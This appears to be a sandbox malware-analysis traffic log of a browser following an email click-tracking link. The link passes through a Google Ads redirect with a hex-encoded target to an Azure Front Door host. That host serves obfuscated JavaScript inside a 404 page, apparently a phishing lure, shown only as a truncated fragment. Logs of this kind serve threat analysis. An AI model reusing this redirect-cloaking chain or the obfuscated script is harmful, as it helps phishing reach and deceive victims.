Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.77	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.90	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.56	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.61	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.28	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.54	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.78	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.62	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.89	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.58	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.150	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.52	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.115.120	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.66	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.124	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020756960 CEST	1.1.1.1	192.168.2.4	0x7133	No error (0)	sendgrid.net		167.89.123.204	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:25.020960093 CEST	1.1.1.1	192.168.2.4	0xad46	No error (0)	url7554.impulseup.com	sendgrid.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:25.021411896 CEST	1.1.1.1	192.168.2.4	0x634e	No error (0)	url7554.impulseup.com	sendgrid.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:25.947820902 CEST	1.1.1.1	192.168.2.4	0x2419	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Apr 21, 2025 11:32:25.947838068 CEST	1.1.1.1	192.168.2.4	0x4128	No error (0)	googleads.g.doubleclick.net		142.250.68.226	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:27.036564112 CEST	1.1.1.1	192.168.2.4	0xe713	No error (0)	87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net	shed.dual-low.s-part-0043.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:27.036564112 CEST	1.1.1.1	192.168.2.4	0xe713	No error (0)	shed.dual-low.s-part-0043.t-0009.t-msedge.net	s-part-0043.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:27.036564112 CEST	1.1.1.1	192.168.2.4	0xe713	No error (0)	s-part-0043.t-0009.t-msedge.net		13.107.246.71	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:27.038480997 CEST	1.1.1.1	192.168.2.4	0xce36	No error (0)	87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net	shed.dual-low.s-part-0043.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 21, 2025 11:32:33.851593971 CEST	1.1.1.1	192.168.2.4	0x116	No error (0)	pattemsyw.com		172.67.138.38	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.851593971 CEST	1.1.1.1	192.168.2.4	0x116	No error (0)	pattemsyw.com		104.21.62.185	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.869760036 CEST	1.1.1.1	192.168.2.4	0xb9a8	No error (0)	pattemsyw.com			65	IN (0x0001)	false
Apr 21, 2025 11:32:33.903120995 CEST	1.1.1.1	192.168.2.4	0x7d49	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.903120995 CEST	1.1.1.1	192.168.2.4	0x7d49	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.903120995 CEST	1.1.1.1	192.168.2.4	0x7d49	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:33.903120995 CEST	1.1.1.1	192.168.2.4	0x7d49	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:35.271861076 CEST	1.1.1.1	192.168.2.4	0x1d38	No error (0)	sendgrid.com		100.21.20.131	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:35.271861076 CEST	1.1.1.1	192.168.2.4	0x1d38	No error (0)	sendgrid.com		52.40.152.246	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:35.271861076 CEST	1.1.1.1	192.168.2.4	0x1d38	No error (0)	sendgrid.com		54.188.148.71	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:41.399775982 CEST	1.1.1.1	192.168.2.4	0xa8e8	No error (0)	sendgrid.com		52.40.152.246	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:41.399775982 CEST	1.1.1.1	192.168.2.4	0xa8e8	No error (0)	sendgrid.com		54.188.148.71	A (IP address)	IN (0x0001)	false
Apr 21, 2025 11:32:41.399775982 CEST	1.1.1.1	192.168.2.4	0xa8e8	No error (0)	sendgrid.com		100.21.20.131	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

url7554.impulseup.com

googleads.g.doubleclick.net

87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net

pattemsyw.com

code.jquery.com

sendgrid.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49728	167.89.115.77	80	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 21, 2025 11:32:27.812108040 CEST	1053	OUT	GET /ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D HTTP/1.1 Host: url7554.impulseup.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 21, 2025 11:32:28.004209995 CEST	691	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 21 Apr 2025 09:32:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 255 Connection: keep-alive Location: https://googleads.g.doubleclick.net/pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 X-Robots-Tag: noindex, nofollow Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 63 73 2f 63 6c 69 63 6b 3f 61 64 75 72 6c 3d 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 33 38 25 33 37 25 33 34 25 33 33 25 33 36 25 37 34 25 33 36 25 33 37 25 33 38 25 33 32 25 33 33 25 33 36 25 33 38 25 33 37 25 33 32 25 33 33 25 33 36 25 33 38 25 33 37 25 32 44 25 36 32 25 33 37 25 36 31 25 33 35 25 36 36 25 33 39 25 36 34 25 36 36 25 36 32 25 36 37 25 36 35 25 36 31 25 36 38 25 33 30 25 36 37 25 37 34 25 32 45 25 37 41 25 33 30 25 33 32 25 32 45 25 36 31 25 37 41 25 37 35 25 37 32 25 36 35 25 36 36 25 36 34 25 32 45 25 36 45 25 36 35 25 37 34 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://googleads.g.doubleclick.net/pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74">Found</a>.
Apr 21, 2025 11:33:13.011850119 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49727	167.89.115.77	80	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 21, 2025 11:33:10.245573044 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49726	167.89.115.77	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:25 UTC	1288	OUT	GET /ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D HTTP/1.1 Host: url7554.impulseup.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:25 UTC	431	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 21 Apr 2025 09:32:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 255 Connection: close Location: https://googleads.g.doubleclick.net/pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 X-Robots-Tag: noindex, nofollow
2025-04-21 09:32:25 UTC	255	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 63 73 2f 63 6c 69 63 6b 3f 61 64 75 72 6c 3d 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 33 38 25 33 37 25 33 34 25 33 33 25 33 36 25 37 34 25 33 36 25 33 37 25 33 38 25 33 32 25 33 33 25 33 36 25 33 38 25 33 37 25 33 32 25 33 33 25 33 36 25 33 38 25 33 37 25 32 44 25 36 32 25 33 37 25 36 31 25 33 35 25 36 36 25 33 39 25 36 34 25 36 36 25 36 32 25 36 37 25 36 35 25 36 31 25 36 38 25 33 30 25 36 37 25 37 34 25 32 45 25 37 41 25 33 30 25 33 32 25 32 45 25 36 31 25 37 41 25 37 35 25 37 32 25 36 35 25 36 36 25 36 34 25 32 45 25 36 45 25 36 35 25 37 34 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://googleads.g.doubleclick.net/pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49729	142.250.68.226	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:26 UTC	873	OUT	GET /pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:26 UTC	1037	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Location: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 21 Apr 2025 09:32:26 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmi0JzE8SJPHeqQrbV5ucv-j3-etykfM7yAiYQYWory0XXAhWsslqm2mKIw; expires=Wed, 21-Apr-2027 09:32:26 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	13.107.246.71	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:27 UTC	702	OUT	GET / HTTP/1.1 Host: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	142.250.68.226	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:28 UTC	1242	OUT	GET /pcs/click?adurl=%68%74%74%70%73%3A%2F%2F%38%37%34%33%36%74%36%37%38%32%33%36%38%37%32%33%36%38%37%2D%62%37%61%35%66%39%64%66%62%67%65%61%68%30%67%74%2E%7A%30%32%2E%61%7A%75%72%65%66%64%2E%6E%65%74 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "134.0.6998.36" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmi0JzE8SJPHeqQrbV5ucv-j3-etykfM7yAiYQYWory0XXAhWsslqm2mKIw
2025-04-21 09:32:28 UTC	850	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Location: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 21 Apr 2025 09:32:28 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	13.107.246.71	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:29 UTC	702	OUT	GET / HTTP/1.1 Host: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:29 UTC	442	IN	HTTP/1.1 200 OK Date: Mon, 21 Apr 2025 09:32:29 GMT Content-Type: text/html Content-Length: 1026 Connection: close Content-MD5: 6Q9jQQCOCHIgxWKmwhy+6Q== Last-Modified: Fri, 11 Apr 2025 09:05:20 GMT ETag: "0x8DD78D7FCA2EF42" x-ms-request-id: a5061863-d01e-0003-5aa0-b233cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250421T093229Z-r185b9c9945hx7hdhC1PHX63fg0000000730000000001tnh X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2025-04-21 09:32:29 UTC	1026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 6e 65 72 61 74 65 52 61 6e 64 6f 6d 53 74 72 69 6e 67 28 6c 65 6e 67 74 68 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 68 61 72 61 63 74 65 72 73 20 3d 20 27 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 72 65 73 75 6c 74 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <script> function generateRandomString(length) { const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let result

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	13.107.246.71	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:30 UTC	10761	OUT	GET /WliLvSwyNktRLuny5DTDqoVJk1yWTdKM7XU1x0QgMkli7zjQfiQdLN0SGpGU7r0dQGdyCxo1ZwbT7RfvQmT3yXt2OrzBGOGYvZo9xRAEMM8sUngSf5SVdSaudYfFhmwlxcx2Spbo4oFKY8VkYdzrOwjylxilrJWNSlF1ccBWkfXwPOQWEYCX6OvhfwaewQBZWymtkRAc7nesPoDeROaIZHigBf1LbMNjrQCMwsJM57FDN8tx5AcANgBy8FoF5m1MDEYCxxyjmChRJ2FEfzCo9xWcugF72kt8vXqISiV0H42QY70B80NYEVcOQArqOPzP8wmIK93W9NrgTyqbNLsUBcgoeEAZyHNcbelIQFdUhvlw4fqAIXCcjMb5RLOmNlBEY6iOJr3DSVX6T9B3DUGFmLUSvOaDd07ESDlGGzhPllZBsz4T4kLfNkntF5BZ9M8IqAcQBQfwRXh4MfxaP7X8RTYApODLZlbtLSWJaRTKruYOQTIVFd87ANCSwbmAew7zelRFS79LzTcj4GzEPsamIoNu7l0S74OL9GjeAJZxV1JK4YErZdIlKqWZAmrTlGMIICEaynyTM1dw3PLqecc7yYyaEHKyqvTliLyFPt9DbO6nOuyRiv1j2vf8g1XlPv08cF3auuvaDPdC6TVB5XZj2utvQ3zmw3N8cMM1afu8gPe4TM5UkVSrjZdzJ8u9bKL2na9mcb5YEmeBuAe0ib1arSsupRS9xRCOaCeGd3rrDi5Fd4bH9dbvpo1NbnpKxc9HPMzqea6bPhBqRgyVWPmkRQejUfh9hQsGn7oGa1u8jm7DEJDGQkBDkb0SEZH8WMzVQs7qyj7lzvOiEgscK87YVvq0X5cG2A28RrkZlILiBDdeVxTBu0nQLfAYR1ehlHP8eoA5hXj6FhWmLt5hpdit3udUxj903InaGNdmnJ1CqySZLG7JMk6dxsPLJYyTHFX8JFIE5mgtuPxkxH5O9ZBpz6KaeZ1RaUqbvrdQFTBcSBTUkESFyZPP5Ld3eyt [TRUNCATED] Host: 87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://87436t6782368723687-b7a5f9dfbgeah0gt.z02.azurefd.net/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:31 UTC	382	IN	HTTP/1.1 404 The requested content does not exist. Date: Mon, 21 Apr 2025 09:32:30 GMT Content-Type: text/html Content-Length: 204558 Connection: close x-ms-error-code: WebContentNotFound x-ms-request-id: ff0de936-f01e-0014-61a0-b29ac0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250421T093230Z-r185b9c9945rmbgfhC1PHXqy3g0000000htg000000001c3s X-Cache: CONFIG_NOCACHE
2025-04-21 09:32:31 UTC	16002	IN	Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 6a 61 76 61 73 63 72 69 70 74 3e 76 61 72 20 5f 30 78 33 64 64 38 34 62 3d 5f 30 78 64 63 65 66 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 33 32 30 28 29 7b 76 61 72 20 5f 30 78 33 37 66 33 32 64 3d 5b 27 5c 78 37 34 5c 78 36 31 5c 78 36 32 5c 78 36 63 5c 78 36 35 27 2c 27 5c 78 37 62 5c 78 37 64 5c 78 32 65 5c 78 36 33 5c 78 36 66 5c 78 36 65 5c 78 37 33 5c 78 37 34 5c 78 37 32 5c 78 37 35 5c 78 36 33 5c 78 37 34 5c 78 36 66 5c 78 37 32 5c 78 32 38 5c 78 32 32 5c 78 37 32 5c 78 36 35 5c 78 37 34 5c 78 37 35 5c 78 37 32 5c 78 36 65 5c 78 32 30 5c 78 37 34 5c 78 36 38 5c 78 36 39 5c 78 37 33 5c 78 32 32 5c 78 32 39 5c 78 32 38 5c 78 32 30 5c 78 32 39 27 2c 27 5c 78 37 30 5c 78 37 32 5c 78 36 66 5c 78 37 34 Data Ascii: <script language=javascript>var _0x3dd84b=_0xdcef;function _0x4320(){var 